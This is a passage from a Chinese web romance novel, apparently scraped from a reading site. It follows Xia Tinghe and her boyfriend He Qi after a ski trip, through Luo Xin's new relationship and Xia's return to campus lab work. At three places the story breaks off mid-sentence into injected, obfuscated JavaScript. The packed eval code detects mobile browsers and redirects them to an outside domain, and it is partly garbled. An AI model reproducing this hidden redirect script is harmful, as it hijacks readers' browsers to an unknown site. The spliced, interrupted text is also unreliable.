夏汀禾指了指那边，下意识地分析说：“其实扶梯设计的不是很合理，它倾斜的角度比坡道还要大，在上面加速和匀速前行的总时间就更久。” 如果传送带长度和速度不变，倾斜角度和坡道保持一致，用的时间就会减少，她就可以快一点上去了。 “不过可能还有别的条件我没有考虑到。”她也没具体计算，只是凭借之前做题的经验。 夏汀禾皱了下眉。 贺祁看她生气的模样就觉得可爱，尤其是这样一本正经分析的时候。 贺祁笑了下：“那就不下去了，就在场地里玩。” “过来。”他先进了场地，停稳后向夏汀禾伸手。 有他在身边，夏汀禾总是莫名有勇气去尝试一些新的东西。 她小心地滑了过去，快要刹不住车时，被贺祁稳稳接住。来来回回几次，后来贺祁放手了，她也能小幅度地控制住速度。 比她之前的单一玩法有趣多了。 两个人在滑雪场里玩了个把小时才出来。 夏汀禾又回头看了一眼滑雪场，没想到三个小时的票居然这么快就到时间了。 看她恋恋不舍，贺祁忍不住说：“这么喜欢？以后有机会再去别的滑雪场。” 这边应该不会再来了，夏汀禾只能点点头答应了：“我之前有看到北方的一个，是室外的，感觉挺有趣的。” 贺祁回她说：“行，那下次去。” 回去的路上，贺祁问她明天先回学校还是回家。 夏汀禾正从储物格里翻出一袋薯片来吃，也没留神，一听到他问了，便全部说了出来：“先回家吧，罗欣还有话要和我说呢。” 说出口了，才意识到贺祁今早上听到了一些事。 她很快又开始找补：“……还有我哥，他想给女朋友买生日礼物，让我去帮忙挑一下。” 贺祁看向她，漫不经心道：“这就全部告诉我了？我都还没问呢。” 夏汀禾把薯片放在了一边，擦了擦手，有些忐忑地说：“那你想问什么？” “想去读研的学校，确定下来了么？” 没想到他问的是这个，犹豫了下，夏汀禾告诉了他：“嗯。” “哪几所？” 总共四个备选项，夏汀禾最后才告诉了他，最想去的——是国外的一所高校，贺祁之前和她说过的。 听到这个答案，贺祁不由自主地笑了下。 他之前准备的表白，那特意为她设置的展览上最后缺的照片，就需要去那边拍摄。 贺祁是打算这个寒假就去一趟国外拍的，后面再给夏汀禾一个惊喜。 只是，她也有意愿的话 ——“你办护照和签证了么？” 夏汀禾顿了顿，明白过来他的意思后，点了点头。 之前蔺妤带她去办过了，只是一直没有机会用上。 正想着贺祁为什么突然这么问，紧接着又听到他说：“想提前去那边看看么？” 夏汀禾愣愣地问：“你和我一起吗？” “昂。”贺祁看向她，“还是说你还想和别人一起？” 夏汀禾迅速摇头：“没有！” 被他这么一说，夏汀禾就已经开始期待了起来。 她在手机上搜那边的旅游攻略，打算今天做一个计划出来，确保想要去的地方都可以游玩到。 找了几篇写得详细的，想分享给贺祁看，还没说呢，贺祁突然开了口。 “之前为什么喜欢付言辞？”车内冷不丁地响起这一句。 夏汀禾：“？” 怎么又开始问这些了…… 不过他说得太过于自然，夏汀禾也没觉得他是在吃醋或者是别的，似乎只是随口一问。 她想了想，认真回答说：“可能因为他当时在我心目中就是很好的吧，什么都好。长得好看，成绩又好，对同学朋友也很细致耐心。” 夏汀禾笑了下：“所以喜欢他的也不止我一个。” 贺祁从后视镜里瞥见她的笑容。 他直接打断了她的话：“那现在喜欢我什么？” 夏汀禾被问得一懵。 她也没想到刚刚那句之后还有问题。 “……这个应该没必要这么去列出来吧。”夏汀禾有些难为情。 她印象中自己都和贺祁有过很多亲密的接触了，还不能证明是喜欢么？ “有必要。”贺祁淡淡地回了一句，言简意赅。 夏汀禾没办法，只得又说了好几个他的优点，等把人说满意了，这才停了下来。 车内安静了一会儿。 夏汀禾想了下，还是决定问清楚：“贺祁。” 贺祁看了过来。 “你为什么总是问我这些？” 她并非是在烦扰，而是真的在思考他们之间是不是存在什么问题。 “你是觉得不放心吗？” 比如担心她会再次喜欢上付言辞？还是其他的什么。 如果是这样，夏汀禾可以很明确地告诉他不会。她既然选择了和贺祁在一起，就不会再对过去的人有留恋。 她想听听贺祁的，但他只笑了下，就道：“想什么呢？” “随便问问而已，逗你玩的。” 听到他这么说，夏汀禾也放心了，“哦”了一声就没再问话。 - 知道他们要回去后，容虞拿了一些当地的特产过来。她绕过了贺祁，给了夏汀禾。 “这些都是我去挑的，保证正宗好吃。” 夏汀禾没拒绝别人的好意，道着谢收下了。 容虞问她说：“你以后还会过来玩吗？” 夏汀禾点点头：“会的。” 这不是客套话，也不仅仅是因为贺祁，夏汀禾在这里待了几天，也挺喜欢这儿的。 贺祁在不远处买乘坐大巴的票，买好了后对夏汀禾招了招手。她们俩站在马路的这边，容虞自然也看到了。 “要走了是吗？” 夏汀禾：“嗯，他应该买完票了。” 想了一会儿，夏汀禾问她：“你要去和他道别吗？” 容虞没忍住笑出了声：“那可是你的男朋友欸，妹妹。还让我这个暗恋的去和他说话么？” 夏汀禾没觉得有太大问题：“但你们也是朋友。” 贺祁都亲口说过容虞是一个很好的人。 “不了。”容虞摇了摇头，“越牵扯的多久越难忘记，我都希望以后他以后不要再出现在我面前了。” 容虞强调了下：“和你没关系的！” 两个人又聊了会儿，直到大巴开始发动，夏汀禾不得不过去了。 容虞和她说：“那就期待我们的再次见面啦。” 夏汀禾边小跑着过去，边回头回应：“下次见！” 视野里容虞一直在和她摆手告别，等到大巴逐渐远去，看到不到人了，夏汀禾才把目光从窗户上收回，怅然若失地在位置上坐下了。 “这么舍不得？”贺祁问她，“不是才认识几天么？” 眼睫轻颤了下，夏汀禾低头看着地面，小声回她说：“因为以后可能就很难再碰到了。” 即便加了联系方式，约对方出来，也可能会因为各种事情泡汤。 而且。 也不止这一个原因。 “叮”的一声响，手机在这时候亮了起来。 容虞发了一条朋友圈。 夏汀禾点开来看。 照片是那天她们在水库的时候拍的，只拍了湖泊。放大看才能看到角落里其实还有一棵光秃秃的树，和波光粼粼的湖泊完全不相配。 除了夏汀禾，没人知道为什么把一棵破坏气氛的树拍了进去。 她配的文字是： 【以后陪在你身边的人就不再是我啦。——写给十八岁的自己】 夏汀禾给她点了个赞。 - 下午回到了家，夏汀禾先去了民宿和罗欣见面。 两个人几个月没见了，一碰上就抱了好一会儿才松开。 正好民宿这下没什么客人，罗欣从前台绕了出来，往她身后瞧了瞧，意味深长地问：“贺祁呢？你都去他老家了，现在他该跟着你一起回来见家长了吧。” 什么见家长呀…… 她都还没告诉她妈妈呢。 “没有啦。”夏汀禾脸颊一热，“他陪他爸妈一起回去了。” 反正到时候她要回学校，他们俩很快又会见面。夏汀禾也不着急。 “这样啊。”罗欣撇了撇嘴，“行吧。我本来还以为可以看到你们俩亲亲抱抱呢。” 身边好不容易有一对颜值匹配的情侣，罗欣还想看看他们的互动找回自己以前心动的感觉。 他们确实亲过也抱过了，但这些夏汀禾当然是不好意思在朋友面前提的。 她没说话，反问罗欣：“你不是说要和我分享的吗？” 罗欣狠狠地点了下头，立即拉了小板凳过来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070123|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两个人在民宿大厅里坐下，罗欣还给夏汀禾拿了一杯热的奶茶。 正式开启话题，罗欣少见地露出了一点少女羞涩：“其实他昨天来找我了。” 夏汀禾喝着奶茶问：“嗯，然后呢？” “他问我之前为什么不理他，我说觉得他太优秀了，自己配不上。然后他就非常温柔地问我，为什么会有这种想法，他从来都不这么认为。他问我是怎么去定义优秀的？根据什么去评判自己的？” “我当时都快紧张死了，哪知道怎么回答他的问题。再然后——他就和我表白了，说我在他眼里就是很优秀的，很好的……” 罗欣越说脸越红，越过了一系列的话，直接告诉了结果：“所以我就答应了。” 这下轮到夏汀禾惊讶了：“你已经答应了？” 罗欣无辜地看着她，眨了眨眼：“我还是认真考虑了一下的。不过他就是我的理想型，我没办法拒绝。” 夏汀禾可以理解。 “而且目前来看，除了他比较黏人之外，我暂时还没发现别的不好。” 罗欣不好意思地把一些他们的聊天记录给夏汀禾看，男生就在附近的公司实习，基本上做什么都会和罗欣分享，下班了就往民宿这边跑，陪她上夜班，结束后带她去吃宵夜。 两个人基本上每天都在一块。 看照片夏汀禾还以为男生是挺清冷的理工科学霸那一类，要不是罗欣和她说这些，她也根本不会往这方面去想。 不过怎么说也算是圆满的少女初恋，夏汀禾也替她高兴。 分享完了自己的，罗欣转头问她：“哦，对了，贺祁喜欢黏你吗？” “没想到男生谈了恋爱反差这么大耶。我还真想不出来贺祁和你在一起会是什么样的。” 夏汀禾想了想，回她说：“他还好，就和我们没谈的时候差不多。” 贺祁闲下来的时候就会给她发消息打电话，忙的时候可能频率会减少。不过夏汀禾也是这样，所以她并不介意。 罗欣表示了然，又问：“那你想他黏你么？” 夏汀禾摇了摇头：“我可能比较喜欢有一点个人空间。” “真的吗？”罗欣有点苦恼，“其实我也这么和我男朋友说了。但他说，如果我这么想的话，他会很没有安全感。贺祁不会吗？” 思索了片刻，夏汀禾给了答案：“他应该不会吧。” 贺祁应该是对什么都十分自信的。除了偶尔的吃醋之外，他大多数时候都是和以前一样，游刃有余又随心所欲的。 夏汀禾也觉得自己都和他说过那么多次了，他应该也不会想太多的。 他之前还在车上说只是逗她，随便问问的呢。 - 晚上夏汀禾买了回学校的票，顺便看了眼实验室的预约。 看了之后才知道实验室寒假期间要进行设备更换和重新装修，所以到下学期开学前只有半个月的时间开放。 夏汀禾本来是打算到时候在学校里把论文初稿定下来，剩下的几天再和贺祁一起去国外的。 不过实验室开放的时间点正好卡在中间，不上不下的，用前后的两三天出去旅游都不方便。 夏汀禾只好打了电话给贺祁。 “怎么这么早就打过来了？” 他们本来是约好了睡前打电话的，现在才刚吃完晚饭而已。 “想我了？”贺祁懒洋洋地问她。 耳朵一红，夏汀禾小声地回他说：“……才不是。” 她和贺祁说明了原因。 怕他耽误了，夏汀禾又道：“你不是说你有事所以要去的吗？那这次你先去吧，下次我们再一起。” 她说完后，电话那头沉默了许久。 贺祁没说话。 夏汀禾琢磨出来：“你不高兴了吗？” 这算是她放鸽子了，贺祁不高兴也正常。 “没。”贺祁回了她，“你那不也确实没办法么？” 尽管他这么说了，但夏汀禾还是能感觉出来他的情绪起伏。她想出补偿的办法：“那我回学校了就去找你？” “去哪找我？我家？”他的语气有松动。 夏汀禾：“嗯，可以吗？” 贺祁回了一句：“好。” 他答应了，夏汀禾也就放心了。 毕竟贺祁说过只要去找他，他就不会生气了的。 夏汀禾于是心安理得地挂了电话，去做自己的事情了。一直到第二天早上，她才拿起手机来看。 六七条消息接连弹了出来。 都是梁浩昨晚上给她发的。 夏汀禾还以为他是过来问祝朝月的，结果一点开看。 看到的第一条就是。 【你和贺祁吵架啦？】 79. 没事 知道贺祁回来后，梁浩立即就去了他家里找人。 贺祁的父母都和他熟络，梁浩一进门和长辈打了招呼便直奔二楼去他的房间。 原以为他从老家玩一趟回来，又是和夏汀禾一起的，心情应该还不错。 然而梁浩推开了门，在门口敲了好几下，坐在沙发上拼乐高的人都没什么反应。 家里开了空调，贺祁便只穿了一件简单的藏青色卫衣和灰色的休闲裤，衣袖挽了上去，露出一双骨节分明的手和清瘦的腕骨。 这人这么专心致志的，梁浩也没再打扰，自己换了鞋进去坐在了沙发上，倒了杯果汁喝。 等他拼完了，梁浩才问：“搞什么呢？气氛整的这么低迷。” “什么低迷？闲着没事随便玩玩。”贺祁笑了下，给他递了一盒新的，“你也拼一个？” 梁浩婉拒了：“不了，我没耐心。” 贺祁：“啧，也是，忘记你上次没拼成功。” 梁浩：“那是缺了零件！” 激将法确实有用，梁浩一把从他手里抢了过来，二话不说就开始干。 正好放桌上的手机响了一声，梁浩下意识地一瞥，发现是夏汀禾的电话。 贺祁走了出去接。 十几分钟后回来，他搭着梁浩的肩膀问：“去酒吧？” “啊？”梁浩这时候还没意识到发生了什么，他低着头道：“我还没拼完呢。” 贺祁直接帮他全部都拿上了。 “那就带酒吧里去拼。” 梁浩：“？” 等反应过来，他已经被人拉着坐上了车。 “不是前不久才去过吗？怎么又去？” 虽说那家酒吧的环境不错，饮品也挺好喝的，但总归还是太闹腾了，回来后脑子还要响半天，梁浩只有分手的那天想去。 车开了一半的路程，他大概想明白了缘由：“你和夏汀禾吵架了？” 贺祁目视着前方，淡淡地回了他一句：“没。” 一旦开始变得话少，那就是真的心情不好。不是吵架，那就是他自己在和自己较劲。 他们俩在一起的第一天，梁浩就知道了。 他当时还挺惊讶的，虽说早就知道了贺祁对夏汀禾有意思，但他不觉得贺祁是会主动的人。 贺祁对感情方面的需求似乎一直很淡，就好像压根不需要。无论是亲情、友情还是爱情，对他来说都是可有可无的。 所以之前梁浩的猜测也是，如果夏汀禾主动去追贺祁，那他们俩才有可能成。 总之他们现在已经在一起了，这些先抛一边去，梁浩扭过头，语重心长地拍了拍贺祁的肩膀： “有什么事就直接和我说吧，兄弟作为过来人，给你出点建议。” 贺祁挑了下眉，一脸玩世不恭的模样：“你自己都分手了，还给我出建议？” 梁浩：“……” 你说话这么欠揍你女朋友知道吗？ 看他黑着脸，贺祁忍不住笑出了声，道：“真没什么事，只是想叫你去出去玩玩。” 梁浩勉强信了他。 反正他约自己出去，也是他请客。 不过等到了地方，他就明白自己不该答应的。他们没去酒吧，来了一个景区的门口。 停好了车后，贺祁给他扔了个包：“走吧，上去。” 梁浩瞪大了眼睛：“现在？” 贺祁若无其事地点点头：“昂。” 梁浩怀疑不是他抽风了就是自己脑子有病，才会在大晚上的来爬一座海拔差不多两千米的山。 旁边放着的提示牌都友情提醒，正常情况下需要七至九个小时才能爬完，请游客量力而行。 念在他当初分手的时候，贺祁也陪着他喝酒散心，梁浩还是忍了。 好在来这边夜爬的人不少，有的聊着天唱着歌，偶尔还有路人过来和他们搭话，一路上也并不无聊。 到了差不多三分之一的地方，梁浩撑不住了，果断一把拽住了前面的贺祁，让他停下来休息。 “喂喂，哥们，能不能体谅一下你朋友？我已经快要累死了。” 山上本来风就大，梁浩双腿都已经麻木了，感觉再往前走，风一吹他就能倒下。 看他一脸生无可恋，贺祁还是放弃了，找到了附近的休息区带他过来坐下了。 终于可以不用站着了，梁浩摸到凳子坐下，立即灌了一大口水。闭着眼缓了好一会儿，人这才慢慢活了过来。 他是真的不想再往上爬了。 大晚上的，他只想回家躺着打游戏啊！早知道之前就不该来找他！ 然而事已至此。 他只能帮着解决问题 ——“所以到底发生了什么事？” “嗯？”贺祁靠着背后的柱子，垂眸看向他，笑着道：“我不都说了，没什么事吗？” 梁浩就是这时候连着给夏汀禾发了好几条消息的。 【你和贺祁吵架啦？】 【不是想过问你们之间的事】 【只是他拉我过来爬山了】 【这里风很大，我爬不动了，我想回家】 【救救我】 【你男朋友是真的很难搞】 他二话没说，连着敲了六条发过去。 看他低着头一直在手机上打字，贺祁问了句：“祝朝月找你了？” 梁浩立即收了手机，还没想出借口来，贺祁已经起了身：“那回去吧。” “啊？” 不管他是怎么想的，总之找到理由下去了，梁浩求之不得。 在山上吹了几个小时的冷风，贺祁清醒多了。 他的确没什么事。 只是和夏汀禾从分开之后，就一直有点不安。 但又因为知道夏汀禾不喜欢两个人之间太过于紧密、频繁的联系接触，所以他也一直忍着没去打扰。 越是隐忍越是容易内耗。 这种感觉在爷爷去世之后，他已经很久都没有过了。 他在害怕失去。 - 夏汀禾把梁浩发过来的消息全部看完。 最后一条是隔了两个小时后发的。 梁浩：【已经没事了，你不用担心。是我想多了，他挺正常的】 这么一说，夏汀禾也放心了不少，给了他道了下歉说昨天晚上睡得早没看到消息。 还打算给贺祁打个电话去问问，楼下罗欣已经叫她吃早餐了，夏汀禾只好暂时搁置在一边先下了楼。 早餐是罗欣亲手做的，一碗虾仁馄饨和几碟煎饺、烧卖，饮品是早上现榨的蔬菜汁。 看到丰盛的一桌，夏汀禾眨了眨眼，问：“怎么做了这么多呀？” 罗欣拿了碗筷给她，笑着回应：“你明天不是又要回学校了吗？到时候就吃不到了。而且你昨天还给我带了礼物，我总不能什么都不做吧。” 礼物是夏汀禾在那边去逛街的时候买的，她也给室友还有祝朝月带了。 两个人正说着，门外突然有人喊了声罗欣的名字。她跑过去开门，对方没进来，就在门口说了几句。 夏汀禾一看便认出了是她男朋友。 简单聊了几分钟，估计男生是要回去上班了，又和她说了再见，低头亲了下罗欣的额头才走。 夏汀禾不好意思地低下了头，没去看。 罗欣再次回来时，手上又多了几盒蛋糕甜品。 “好啦，这下我们吃完早餐，还可以吃一下饭后甜点。” 罗欣高兴地朝夏汀禾笑了笑，又有些为难地说：“不过他的公司离这里还挺远的，我都说了好几次让他早上不要过来了，他也不听。” 被她感染了，夏汀禾也笑着回答：“你们本来见面的机会也不多，他也会想你的嘛。” 被腻歪到了，罗欣立即叫住了她：“夏汀禾！你什么时候也开始这样说话了？” 罗欣不甘示弱：“那你都和贺祁分开了一天了，啧啧啧，他肯定也很想你了。” 夏汀禾摇了摇头，还沉浸在和她斗嘴的快乐之中，十分确定道：“他不会的。他也是比较喜欢有独处空间的。” 她笑起来眉眼弯弯，即便是早上起来，随便扎了个低马尾，看起来也分外乖巧，皮肤白净又透亮。 罗欣比夏汀禾大了几岁，有些事情上还是比她了解了些。 她是不相信贺祁能忍住的。 不过看夏汀禾十分确信的模样，罗欣也只能无奈地自言自语了一句：“真是单纯的孩子啊。” 吃完了早餐，夏汀禾回了房间看论文。 中途罗欣上来了一次给她送蛋糕，瞥见她在忙活，惊叹地问了句：“你们寒假也有作业的吗？” “没有。”夏汀禾回她说，“这个是自愿参加的课题组，导师布置的任务。如果不参加的话，基本上就没什么事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077364|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 罗欣颇受启发地点点头：“所以你是自己想努力然后才要做这些的？” “也可以这么说。” 罗欣在她旁边的椅子上坐下，犹豫了会儿，腼腆地开了口：“其实我前段时间也有看了一些考专科的资料。” 罗欣只有高中学历，她想继续回学校读书的想法之前也有和夏汀禾说过。 “就算是成人高考这一类的。因为我也没想一辈子都做前台，也有其他想要尝试的工作。只不过看了招聘软件，很多其他的都有学历要求。我也和我男朋友说过这件事了，他是建议我先考专科，再专升本的，在职考就行。” 夏汀禾认真地听完：“这很好啊。” 罗欣苦恼的是别的：“专科考试包括语数英的嘛，但是我数学真的很差，看网课也有些看不懂的。我都不好意思去问男朋友，怕他觉得我笨。” 夏汀禾笑着回她：“如果你愿意的话，可以来问我。” “真的吗？”罗欣的眼睛里顿时就有了光。 夏汀禾郑重地认下了：“嗯。” “我明天回学校了的话，你有想问的可以发消息给我。我看到了之后一定会回复的。” 罗欣已经感激得不知道要说什么才好了，只能抱着夏汀禾不停地说“谢谢”。 夏汀禾拍了拍她的背，同时也安慰说：“如果你去问你的男朋友，他肯定也不会那样想的。” 有了好朋友的鼓励，罗欣轻松了些：“那我今晚上就和他说说看！” - 下午夏汀禾本来是准备和蔺妤约着一起去游泳的，但谁也没想到，蔺妤公司里临时派了任务给她。 听到缘由，夏汀禾也没有太过失落，蔺妤正出于升职的忙碌期，她可以理解。 “没事的，妈妈你去忙吧，我们可以等你放年假了再约。” 这是第一次和女儿约定的事情，却没办法履行，蔺妤的心里仍有些沉重。只是这边也的确推脱不开，她只能轻叹了口气，回答说：“好，那你明天回学校了发个消息给我。” “嗯，妈妈拜拜，你去吧，我挂电话啦。” 因为太过匆忙，她一时间也忘记了把自己谈恋爱的事告诉了蔺妤。 但这也不着急。 以后总有机会的。 游泳的计划泡汤了，夏汀禾于是就用下午来收拾东西，顺便把回学校了要做的事捋了下。 她没有申请寒假期间留宿寝室，只能在校外住。好在祝朝月合租的室友正好退租了，知道这事后便把她叫了过去。 祝朝月：【那你什么时候过来呀？我好收拾一下房间，家里太乱了，你看到了会吓一大跳的】 夏汀禾：【应该是明天晚上。不收拾也没关系，等我过去了，我和你一起整理】 其实她是下午的航班，只是到了之后还得去找一下贺祁。 第二天从民宿出发，一想到要回学校进实验室了，夏汀禾莫名地有些期待起来。 看论文看理论总是有些没意思，尤其在上次体验过实验成功之后。 她的期待一直持续到进了机场后，打开包翻找身份证时。 身份证是在的，但是平板不在。 夏汀禾后知后觉地反应过来是昨天晚上包里塞不下了，她打算放行李箱里的，但当时被舅舅舅妈叫了过去，回来后就忘了。 ipad里面有很多资料和整理好的文献，是她写论文必须要用到的。 再回去取一趟是来不及了。 “怎么会忘记了呢。” 拍了一下自己的额头悔恨了几秒后，夏汀禾打了电话给蔺澈让他帮忙送一下，挂断后她又立即改签了航班到最近的下一趟。 不过也要晚上才起飞了，到A市的时候都快十点了。 她把消息告诉了祝朝月和贺祁。 祝朝月很快回复了她：【没事，要是你敲门没人回应，那我可能是睡着了，你直接密码解锁进来就行】 贺祁也给了回应：【知道了，路上注意安全。到了后我去接你？】 夏汀禾怕他麻烦，拒绝了：【不用，机场那边打车也挺方便的】 想了想，又给他发了一条：【还有我明天去找你，可以吗？今天到了之后会比较晚，如果我再去找你的话，回家的时候朝月可能都睡了，我怕收拾东西会吵醒她】 这一次隔了很久，贺祁才回她说：【嗯，到了之后和我说一声就行】 80. 陪伴 不知道是不是自己的错觉，夏汀禾总觉得贺祁有点不对劲。 是发生什么事了吗？ 她没能继续想下去，蔺澈这时候赶到了机场，把ipad给她送了过来。 不想她一个人无聊，蔺澈索性坐在机场陪她聊了一下午的天，直到快要登机。 - 和预估的一样，航班抵达后，已经十点了。 机场内灯火通明，网约车出租车通道仍旧堵得水泄不通。 夏汀禾随手打了一辆车去了祝朝月所在的公寓。不到半小时的车程，一下车，她便发消息告诉了贺祁自己已经到了。 贺祁暂时没回。 可能是去忙了。 祝朝月估计着她这个点会过来，正好从楼上下来了帮她拿行李。 “怎么不进来呀？在等谁的消息吗？” 兴许是洗完了澡，她身上已经换上了睡衣，走过去后便从夏汀禾手中接过了背包。 “哦，没有。”夏汀禾收起手机，跟着在她后面进了公寓，“谢谢。” 公寓就在路边，住客基本上都是年轻人，租金也不贵。祝朝月租的房子在六楼，因为有电梯，上去也挺方便。 解锁进去后，夏汀禾大致看了看。 两室一厅，应该还是提前收拾过了，室内并没有祝朝月说得那么杂乱。 “你的房间是在那边，我今天已经让房东请人帮忙打扫啦，应该没什么问题，可以直接住的。” 夏汀禾推着行李箱先去了卧室。 床、衣柜、书桌、飘窗，这几样占据了大部分的空间。不过大抵是前一个室友把自己的东西都搬走了，床上、柜子里、桌上、窗上都是空荡荡的，没放东西。 夏汀禾先开了行李箱，把床铺好了，又把一些日常生活用品拿了出来，简单地布置了一下卧室。 一小时后收工，看着有了点人气的卧室，她心里忽地有些触动。 这是她第一次租房。 尽管还有好朋友当室友，但却隐约觉得和在学校里是不一样的。 她很佩服祝朝月高中一毕业之后，就敢一个人到处跑，一个人去租房、去面试、去兼职、去实习。 现在她好像也逐渐开始迈出这一步了。 “汀禾？收拾完了吗？” 客厅里传来祝朝月的声音，夏汀禾扭头回了一句：“嗯，收拾好了。” “那快点过来吃东西吧，你进屋的第一天，肯定不能让你饿着。” 夏汀禾走去客厅，祝朝月就把刚点的外卖盒子全部打开，香味瞬间扑过来。都是夜宵必点的食物——烧烤、小龙虾、炸串。 祝朝月又给她倒了一杯可乐。 “你冷吗？冷的话我就把空调调高一点。” “不用，刚刚好。” 夏汀禾和她一样拿了个小马扎在茶几旁边坐下。 祝朝月和她说：“我一般是七点半出门去上班，所以早餐可能就不能和你一起吃了。” 夏汀禾点点头：“那你晚上什么时候回来？” 祝朝月：“这个也不一定，一般是七八点，如果要加班的话，就会晚一些了。你不用等我的，想睡觉了早点睡就行。” 说到这里，祝朝月无奈地叹了口气：“谁叫公司给的待遇还可以呢。不然加班和单休，这两点就快要把我给累死了。通勤还得一小时，我肯定马上跑路了。” “果然人家说得没错，工作了就只有发工资那天是开心的。” “算了，不说这些了。”祝朝月换了个话问：“你为什么寒假回学校呀？是有什么事吗？” 夏汀禾和她解释了一番，祝朝月点了点头，了然道：“所以你是打算继续读研的对吧？” 夏汀禾：“嗯。” “那贺祁呢？和你选一个学校吗？不然异地恋挺难熬的吧。” 祝朝月很平静地就问出了口，夏汀禾都有些懵：“你怎么……知道我和他在一起了？” “贺祁说的呀，他应该也和梁浩说了吧。” 他们的关系挺好，贺祁会告诉他们似乎也不是什么稀奇的事。 夏汀禾摇了摇头：“他还没和我说过要选什么学校。” 要不是祝朝月提醒，夏汀禾也不会考虑到那么远的问题。毕竟也还有一年半才大学毕业。 如果到时候不在一块儿的话，似乎会有点麻烦。不过夏汀禾也并没觉得是太大的阻碍，放假了总能见面的。 两个人又聊了些各自学校里的事，后来吃完了，收拾着去楼下丢了垃圾。 一同回家时，祝朝月忽地叫住了她：“汀禾。” “嗯？”夏汀禾看向她，祝朝月脸上少见地流露出犹豫的神色。 她想了片刻，还是说了出来：“你有感觉到，其实贺祁这人内心……” 祝朝月及时刹住了车：“不是在说他的不好，我和你、还有他都是朋友，你又是他女朋友，我当然绝对没有挑拨你们之间关系的意思。只是想问，你有的时候，会不会觉得贺祁的内心其实和他表现出来的有点不一样。” 夏汀禾明白她的意思，贺祁外热内冷，这她早就知道了。但他们相处了这么久，夏汀禾也清楚，对于真正在乎的人，贺祁从来不是冷漠的。 尤其是在和他一起回了老家，了解到了一些他成长的经历后。 “嗯，我知道。”夏汀禾笑了笑。 看她这么信任贺祁，祝朝月便也没再多问。 - 和祝朝月说的一样，她上班早，第二天夏汀禾起来的时候，家里就只剩下了她一个。 洗漱了后，夏汀禾背着书包出门。 刚从公寓里出来，踏上人行道往学校去，就听见有人在身后叫她的名字。 回头一看，竟然是谢临。 夏汀禾站住了脚，等他跑了过来。 谢临也挺意外：“师妹你是住这儿附近吗？” “对，不过是租的房子。” “我也是啊。”谢临激动得不行，“哎，你知道的，我们马上要毕业了，科研催得紧，我都快要秃头了。” 除了毕业论文之外，A大物理专业对研究生的科研成果也有要求，并且因为是学校的王牌专业，要求难度还不低。 夏汀禾几乎每年都能听到来自学长学姐的抱怨。 “你是要去学校吗？”谢临看她背着书包，多问了句。 “是。”夏汀禾解释道：“我预约了实验室。” “那不正好，我也是过去，一起吧。” 回了学校，到了实验室，夏汀禾意外发现付言辞也在。 不过转眼想到他似乎每个学期都会申请留校，也就不觉得意外了。 谢临似乎早就习惯了，走过去和付言辞打了个招呼，便去做自己的事了。 实验室里也还有其他人，和他对视了眼，夏汀禾也只好点头示意了下。 付言辞愣了愣，很快也扬起嘴角，对她笑了笑。 几个人在实验室里忙活了一早上，各自都忙，一投入进去后也就没有时间说话。 一直到中午，师兄师姐陆陆续续去食堂吃饭。夏汀禾这也才休息了片刻，出了实验室。 “汀禾一起去吃吗？”谢临邀请了她，付言辞也在一旁等着。 “不了。”夏汀禾委婉地拒绝了。 租的公寓离学校不远，她是打算点外卖直接到家里的，顺便吃完了还可以睡个午觉。 刚拒绝完，走在路上，她就接到了贺祁的电话。 昨晚上她给贺祁发的消息这人都没回复，夏汀禾还有些担心来着。现在看到屏幕上显示出来的他的名字，心情不由得好了起来。 她点了接通。 “喂？”没等贺祁说话，她先开了口：“我昨天晚上给你发的消息都没回。你是睡着了吗？” 贺祁的嗓音有些低哑，他咳了下回复：“嗯，刚醒。” “现在在哪？” 夏汀禾：“还在学校呢。” “一早上就去学校了？”听到她撒娇的语气，贺祁笑了下：“吃饭了没？我过去找你？” “不用，我点了外卖回家吃的。而且待会儿要睡午觉，下午还得回来。” 她的意思是贺祁过来的话，他们待一起的时间也没多久。反正她今晚上会过去找他，也不急于这一时。 然而后面的话还没说呢，贺祁就回应了她道：“行，那你先吃饭吧。” 他的语气冷了下来，这句像是瞬间就堵住了原本夏汀禾想说的。 她一时间也忘了自己刚刚打算和贺祁分享的事。 “哦。”夏汀禾顿了顿，“好。” 通话不到两分钟就结束了，夏汀禾看着屏幕出了会儿神。 或许是因为没见面，所以会对电话那头的人进行各种神情揣测，夏汀禾更加确信贺祁是有事情。 她想的是快点把手上的任务完成，这样就可以早点过去找他。 然而实际上，下午的实验做到一半，其中一个需要用到的仪器被拿去更新系统了。 夏汀禾只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086469|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等管理员送回来了才继续。 结束后已经是晚上，她匆匆忙忙收拾了东西往外走。 付言辞正好也刚出来不久，碰上了，就顺口说了一句：“挺晚了的，我送你回去吧。” 夏汀禾没答应，告诉他自己是要去找贺祁的。 “你和他在一起了？” “嗯。” 说完，夏汀禾也没时间看他的反应了，急忙道了别就出了学校去地铁口。 